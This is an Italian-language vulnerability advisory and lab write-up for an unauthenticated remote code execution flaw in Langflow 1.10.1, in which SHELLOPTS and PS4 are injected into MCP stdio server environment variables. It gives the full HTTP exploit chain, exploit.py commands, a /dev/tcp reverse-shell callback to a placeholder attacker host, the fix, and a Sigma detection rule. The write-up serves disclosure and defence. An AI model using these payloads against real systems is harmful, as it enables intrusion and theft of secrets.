
CVE-2026-12940 — Langflow OSS <=1.10.1 RCE non autenticata tramite iniezione di variabili d’ambiente MCP stdio (SHELLOPTS/PS4). PoC dell’autore + analisi del codice sorgente + laboratorio.
Esecuzione remota di codice non autenticata in Langflow
OSS fino alla 1.10.1. La blocklist delle variabili d'ambiente che protegge la configurazione dei
server MCP stdio (DANGEROUS_ENV_VARS) omette SHELLOPTS, BASHOPTS e PS4. Poiché il
launcher MCP stdio esegue il comando configurato tramite bash -c, un attaccante può iniettare
SHELLOPTS=xtrace più una sostituzione di comando in PS4 ed eseguire comandi shell arbitrari
con l'utente del processo Langflow — senza un comando MCP valido, senza autenticazione su
un'installazione predefinita.
| CVE | CVE-2026-12940 |
| Prodotto | Langflow OSS |
| Versioni vulnerabili | 1.0.0 – 1.10.1 |
| Corretta in | 1.10.2 |
| Classe | Iniezione di comandi OS (CWE-78) tramite iniezione di variabili d'ambiente |
| CVSS 3.1 | 9.8 CRITICA — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| Autenticazione | Non autenticata su installazione predefinita (AUTO_LOGIN attivo di default nella 1.10.1) |
| Stato | CONFERMATO VULNERABILE — verificato end-to-end su langflowai/langflow:1.10.1 |
Langflow consente a un utente di registrare server MCP (Model Context Protocol) stdio esterni tramite
POST /api/v2/mcp/servers/{name}. Il corpo della richiesta viene validato da MCPServerConfig
(src/backend/base/langflow/api/v2/schemas.py), che controlla attentamente command, args
e le chiavi delle env:
command deve essere in una allowlist (node, python, npx, uvx, docker, sh, bash…).args vengono scansionati per metacaratteri shell (;, |, $, `, (, ), …) e
keyword pericolose (-c, eval, pip install, …).DANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS,
PYTHONPATH, BASH_ENV, …).Due lacune combinate portano alla RCE:
I valori delle env non vengono mai sanitizzati. Solo le chiavi vengono controllate contro la blocklist; i
valori vengono passati verbatim. Quindi un valore PS4 di $(id) sopravvive anche se
esattamente gli stessi caratteri verrebbero rifiutati dentro args.
La blocklist è incompleta. Nella 1.10.1 DANGEROUS_ENV_VARS non contiene
shellopts, bashopts o ps4.
Il launcher (src/lfx/src/lfx/base/mcp/util.py) quindi esegue, su Unix:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
Con SHELLOPTS=xtrace bash abilita set -x all'avvio e, prima di eseguire la prima
riga tracciata, espande il prompt PS4. La sostituzione di comando dentro PS4 viene quindi eseguita
immediatamente — indipendentemente da command/args, che non devono nemmeno essere validi.
La blocklist è centralizzata in src/lfx/src/lfx/base/mcp/util.py come DANGEROUS_MCP_ENV_VARS
e guadagna shellopts, bashopts, ps4 (più env, difesa in profondità). schemas.py ora chiama
is_dangerous_mcp_env_var(). La registrazione seguente viene rifiutata con HTTP 422 sulla 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
La catena HTTP grezza:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4 fornisce una primitiva grezza per reverse shell / callback OAST:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
Limite della versione corretta (rifiuto):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
Vedi EVIDENCE.txt per la trascrizione completa catturata e
ANALYSIS.md per l'analisi a livello di sorgente.
CONFERMATO VULNERABILE su langflowai/langflow:1.10.1, verificato con due tecniche
indipendenti:
uid=1000(user) gid=0(root) groups=0(root), il vero output di id(1) risolto
contro il /etc/passwd del target. Non è un eco della stringa di input $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).CORRETTO su langflowai/langflow:1.10.2 — la stessa registrazione restituisce HTTP 422.
Nota sull'affermazione di non autenticazione. L'immagine 1.10.1 viene fornita con
AUTO_LOGINabilitato di default, quindi/api/v1/auto_loginrestituisce un token da superuser a qualsiasi chiamante senza credenziali — questo è ciò che rende l'intera catena non autenticata su una distribuzione predefinita. Su un'istanza in cui l'autenticazione è imposta, la stessa RCE è raggiungibile da qualsiasi utente autenticato con un token/chiave API valido (passalo tramite--token). L'immagine 1.10.2 richiede inoltre credenziali per avviarsi, un indurimento non correlato.
Esecuzione arbitraria di comandi come account di servizio Langflow. Lettura completa di ogni segreto, credenziale e flusso nel database di Langflow, accesso ai servizi interni e ai metadata cloud, e un pivot nella rete circostante.
AUTO_LOGIN abilitato; imposta credenziali
esplicite da superuser e disabilita il login automatico.Cerca registrazioni di server MCP il cui env contiene variabili di controllo della shell e
processi bash figli del processo Langflow:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (creazione di processi):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).